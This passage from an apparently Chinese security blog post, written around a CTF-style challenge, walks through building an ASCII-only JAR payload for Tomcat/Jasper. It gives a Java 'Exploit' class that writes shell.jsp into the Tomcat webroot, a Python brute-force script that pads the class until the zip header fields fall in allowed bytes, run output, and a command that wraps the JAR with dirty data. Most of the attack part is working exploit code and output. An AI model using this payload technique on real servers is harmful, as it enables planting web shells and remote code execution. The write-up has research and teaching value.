26px;">0x2e</span>) + <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># size of CD</span><br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(compressed_data) + len(zip_entry_filename) + <span style="color: rgb(209, 154, 102);line-height: 26px;">0x1e</span>) + <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># offset of CD</span><br/>        <span style="color: rgb(152, 195, 121);line-height: 26px;">b&#39;\0\0&#39;</span><br/>    )</code></pre></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">要想让所有部分都在限定的ASCII范围，其实是需要如下7个部分要满足要求。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872P5xvkicbc0yQgN7C2doZt5iaXSZ0IncT8dWo7wNiaBQ1IabKN57XhezxIIMp7UAc8UyFN4alOHjeOa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(171, 178, 191);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(209, 154, 102);line-height: 26px;">1.</span> compressed_data<br/><span style="color: rgb(209, 154, 102);line-height: 26px;">2.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, crc)<br/><span style="color: rgb(209, 154, 102);line-height: 26px;">3.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(raw_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>))<br/><span style="color: rgb(209, 154, 102);line-height: 26px;">4.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(compressed_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>))<br/><span style="color: rgb(209, 154, 102);line-height: 26px;">5.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(zip_entry_filename))<br/><span style="color: rgb(209, 154, 102);line-height: 26px;">6.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(zip_entry_filename) + <span style="color: rgb(209, 154, 102);line-height: 26px;">0x2e</span>)<br/><span style="color: rgb(209, 154, 102);line-height: 26px;">7.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(compressed_data) + len(filename) + <span style="color: rgb(209, 154, 102);line-height: 26px;">0x1e</span>)</code></pre></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">这里</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">zip_entry_filename</span><span style="font-size: 14px;letter-spacing: 1px;">为</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">Exploit.class</span><span style="font-size: 14px;letter-spacing: 1px;">的话，5和6是满足要求的。1条件中的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">compressed_data</span><span style="font-size: 14px;letter-spacing: 1px;">是deflate算法压缩后的数据，这部分是可以调用</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">ascii-zip</span><span style="font-size: 14px;letter-spacing: 1px;">项目中的实现来构造的。所以还剩下4部分需要限定下。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872P5xvkicbc0yQgN7C2doZt5iaXSZ0IncT8dWo7wNiaBQ1IabKN57XhezxIIMp7UAc8UyFN4alOHjeOa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(171, 178, 191);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(209, 154, 102);line-height: 26px;">1.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, crc)<br/><span style="color: rgb(209, 154, 102);line-height: 26px;">2.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(raw_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>))<br/><span style="color: rgb(209, 154, 102);line-height: 26px;">3.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(compressed_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>))<br/><span style="color: rgb(209, 154, 102);line-height: 26px;">4.</span> struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(compressed_data) + len(zip_entry_filename) + <span style="color: rgb(209, 154, 102);line-height: 26px;">0x1e</span>)</code></pre></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">一个文件的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">crc</span><span style="font-size: 14px;letter-spacing: 1px;">，</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">raw_data</span><span style="font-size: 14px;letter-spacing: 1px;">和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">compressed_data</span><span style="font-size: 14px;letter-spacing: 1px;">之间都是互相有影响的。当然可以尝试寻找一个数学公式能表达它们的关系，最终计算出符合条件的jar格式。这个显然是优雅的，但是实现成本比较高。我最终采用的是往class不断填充垃圾数据，直到4个部分都符合要求。</span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="letter-spacing: 1px;"> 0x02 </span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 1px;">编写爆破脚本</span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">假设我们构造的jar是往web目录下写一个jsp，代码可以如下，其中</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">paddingData</span><span style="font-size: 14px;letter-spacing: 1px;">字段是填充垃圾数据的地方。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872P5xvkicbc0yQgN7C2doZt5iaXSZ0IncT8dWo7wNiaBQ1IabKN57XhezxIIMp7UAc8UyFN4alOHjeOa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(171, 178, 191);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> org.apache.jasper.compiler.StringInterpreter;<br/><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> org.apache.jasper.compiler.StringInterpreterFactory;<br/><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> java.io.FileOutputStream;<br/><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">Exploit</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">implements</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">StringInterpreter</span> </span>{<br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">private</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">final</span> String paddingData = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;{PADDING_DATA}&#34;</span>;<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 要执行的代码</span><br/>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Exploit</span><span style="line-height: 26px;">()</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">throws</span> Exception </span>{<br/>        String shell = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&lt;%out.println(\\&#34;</span>Exploit by c0ny1<span style="color: rgb(97, 174, 238);line-height: 26px;">@sglab</span>\\<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;);%&gt;&#34;</span>;<br/>        FileOutputStream fos = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> FileOutputStream(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;/opt/tomcat/webapps/ROOT/shell.jsp&#34;</span>);<br/>        fos.write(shell.getBytes());<br/>        fos.close();<br/>    }<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 防止后续tomcat编译jsp报错</span><br/>    <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span><br/>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> String <span style="color: rgb(97, 174, 238);line-height: 26px;">convertString</span><span style="line-height: 26px;">(Class&lt;?&gt; c, String s, String attrName, Class&lt;?&gt; propEditorClass, <span style="color: rgb(198, 120, 221);line-height: 26px;">boolean</span> isNamedAttribute)</span> </span>{<br/>        <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> StringInterpreterFactory.DefaultStringInterpreter().convertString(c,s,attrName,propEditorClass,isNamedAttribute);<br/>    }<br/>}</code></pre></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">使用上面作为模版代码，编写python脚本不断向</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">paddingData</span><span style="font-size: 14px;letter-spacing: 1px;">字段填充垃圾数据，然后javac编译，最后计算class文件压缩之后是否符合条件。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872P5xvkicbc0yQgN7C2doZt5iaXSZ0IncT8dWo7wNiaBQ1IabKN57XhezxIIMp7UAc8UyFN4alOHjeOa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(171, 178, 191);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">#!/usr/bin/env python</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># autor: c0ny1</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># date 2022-02-13</span><br/><span style="color: rgb(198, 120, 221);line-height: 26px;">from</span> __future__ <span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> print_function<br/><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> time<br/><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> os<br/><span style="color: rgb(198, 120, 221);line-height: 26px;">from</span> compress <span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> *<br/>allow_bytes = []<br/>disallowed_bytes = [<span style="color: rgb(209, 154, 102);line-height: 26px;">38</span>,<span style="color: rgb(209, 154, 102);line-height: 26px;">60</span>,<span style="color: rgb(209, 154, 102);line-height: 26px;">39</span>,<span style="color: rgb(209, 154, 102);line-height: 26px;">62</span>,<span style="color: rgb(209, 154, 102);line-height: 26px;">34</span>,<span style="color: rgb(209, 154, 102);line-height: 26px;">40</span>,<span style="color: rgb(209, 154, 102);line-height: 26px;">41</span>] <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># &amp;&lt;&#39;&gt;&#34;()</span><br/><span style="color: rgb(198, 120, 221);line-height: 26px;">for</span> b <span style="color: rgb(198, 120, 221);line-height: 26px;">in</span> range(<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>,<span style="color: rgb(209, 154, 102);line-height: 26px;">128</span>): <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># ASCII</span><br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> b <span style="color: rgb(198, 120, 221);line-height: 26px;">in</span> disallowed_bytes:<br/>        <span style="color: rgb(198, 120, 221);line-height: 26px;">continue</span><br/>    allow_bytes.append(b)<br/><span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> __name__ == <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;__main__&#39;</span>:<br/>    padding_char = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;A&#39;</span> <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># 填充的字符</span><br/>    raw_filename = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;Exploit.class&#39;</span> <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># 原文件名</span><br/>    zip_entity_filename = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;Exploit.class&#39;</span> <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># 压缩文件名</span><br/>    jar_filename = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;ascii01.jar&#39;</span> <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># 保存文件名</span><br/>    num = <span style="color: rgb(209, 154, 102);line-height: 26px;">1</span><br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">while</span> <span style="color: rgb(86, 182, 194);line-height: 26px;">True</span>:<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># step1 动态生成java代码并编译</span><br/>        javaCode = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;&#34;<br/>                java模版代码<br/>                &#34;&#34;&#34;</span><br/>        padding_data = padding_char * num<br/>        javaCode = javaCode.replace(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;{PADDING_DATA}&#34;</span>, padding_data)<br/>        f = open(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;Exploit.java&#39;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;w&#39;</span>)<br/>        f.write(javaCode)<br/>        f.close()<br/>        time.sleep(<span style="color: rgb(209, 154, 102);line-height: 26px;">0.1</span>)<br/>        os.system(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;javac -nowarn -g:none -source 1.5 -target 1.5 -cp jasper.jar Exploit.java&#34;</span>)<br/>        time.sleep(<span style="color: rgb(209, 154, 102);line-height: 26px;">0.1</span>)<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># step02 计算压缩之后的各个部分是否在允许的ASCII范围</span><br/>        raw_data = bytearray(open(raw_filename, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;rb&#39;</span>).read())<br/>        compressor = ASCIICompressor(bytearray(allow_bytes))<br/>        compressed_data = compressor.compress(raw_data)[<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>]<br/>        crc = zlib.crc32(raw_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>)<br/>        st_crc = struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, crc)<br/>        st_raw_data = struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(raw_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>))<br/>        st_compressed_data = struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(compressed_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>))<br/>        st_cdzf = struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(compressed_data) + len(zip_entity_filename) + <span style="color: rgb(209, 154, 102);line-height: 26px;">0x1e</span>)<br/>        b_crc = isAllowBytes(st_crc, allow_bytes)<br/>        b_raw_data = isAllowBytes(st_raw_data, allow_bytes)<br/>        b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)<br/>        b_cdzf = isAllowBytes(st_cdzf, allow_bytes)<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># step03 判断各个部分是否符在允许字节范围</span><br/>        <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> b_crc <span style="color: rgb(198, 120, 221);line-height: 26px;">and</span> b_raw_data <span style="color: rgb(198, 120, 221);line-height: 26px;">and</span> b_compressed_data <span style="color: rgb(198, 120, 221);line-height: 26px;">and</span> b_cdzf:<br/>            print(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}&#39;</span>.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># step04 保存最终ascii jar</span><br/>            output = open(jar_filename, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;wb&#39;</span>)<br/>            output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode()))<br/>            print(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;[+] Generate {0} success&#39;</span>.format(jar_filename))<br/>            <span style="color: rgb(198, 120, 221);line-height: 26px;">break</span><br/>        <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>:<br/>            print(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}&#39;</span>.format(b_crc, b_raw_data,<br/>                                                                                       b_compressed_data, b_cdzf, num,<br/>                                                                                       padding_char))<br/>        num = num + <span style="color: rgb(209, 154, 102);line-height: 26px;">1</span><br/></code></pre></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">我这边的编译环境是填充了</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">248个A</span><span style="font-size: 14px;letter-spacing: 1px;">就满足要求了。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872P5xvkicbc0yQgN7C2doZt5iaXSZ0IncT8dWo7wNiaBQ1IabKN57XhezxIIMp7UAc8UyFN4alOHjeOa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(171, 178, 191);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(40, 44, 52);border-radius: 5px;">➜ ascii-jar git:(master) ✗ python3 ascii-jar-1.py<br/>[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 1*A<br/>[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 2*A<br/>[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 3*A<br/>......<br/>[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 247*A<br/>[+] CRC:True RDL:True CDL:True CDAFL:True Padding data: 248*A<br/>[+] Generate ascii01.jar success<br/></code></pre></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"></span><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);"><strong><span style="letter-spacing: 1px;"> 0x03 </span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 1px;">前后脏数据的处理</span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">zip格式的文件都是支持前后加脏数据的，不过加脏数据之后需要修复下各类</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">offset</span><span style="font-size: 14px;letter-spacing: 1px;">。可以使用zip命令进行修复,为了省事，这里我直接使用phith0n师傅的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">PaddingZip</span><span style="font-size: 14px;letter-spacing: 1px;">项目来修复。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872P5xvkicbc0yQgN7C2doZt5iaXSZ0IncT8dWo7wNiaBQ1IabKN57XhezxIIMp7UAc8UyFN4alOHjeOa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(171, 178, 191);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(40, 44, 52);border-radius: 5px;">$ python3 paddingzip.py -i ascii01.jar -o payload.jar -p <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;DIRTY DATA AT THE BEGINNING &#34;</span> -a <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;C0NY1 DIRTY DATA AT THE END&#34;</span><br/>file <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;payload.jar&#39;</span> is generated<br/></code></pre></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">可能你会有疑问，为啥末尾的脏数据是</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">C0NY1 </span><span style="font-size: 14px;letter-spacing: 1px;">+ </span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);"> DIRTY DATA AT THE END</span><span style="font-size: 14px;letter-spacing: 1px;">。这是因为题目的代码,在获取参数时进行了</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">trim</span><span style="font-size: 14px;letter-spacing: 1px;">操作。</span><br/></section><section style="margin-right: 8px;margin-left: 8px;text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25078125" data-s="300,640" data-w="1280" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=aeed02fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdhDB7wNopWIwWKAZKwKZAMw5xVSXBBOctVd4kLafgT1PhXgbBhXP14dD9wDHRm0I7NEHgKvVGj6g%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">trim操作会将字符串首尾小于或等于</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">\u0020</span><span style="font-size: 14px;letter-spacing: 1px;">的字符清理掉，而正常的zip文件末尾都是</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">00</span><span style="font-size: 14px;letter-spacing: 1px;">等空字节结尾的，这会导致末尾数据丢失。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872P5xvkicbc0yQgN7C2doZt5iaXSZ0IncT8dWo7wNiaBQ1IabKN57XhezxIIMp7UAc8UyFN4alOHjeOa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(171, 178, 191);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// java.lang.String#trim</span><br/><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> String <span style="color: rgb(97, 174, 238);line-height: 26px;">trim</span><span style="line-height: 26px;">()</span> </span>{<br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> len = value.length;<br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> st = <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>;<br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">char</span>[] val = value;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/* avoid getfield opcode */</span><br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">while</span> ((st &lt; len) &amp;&amp; 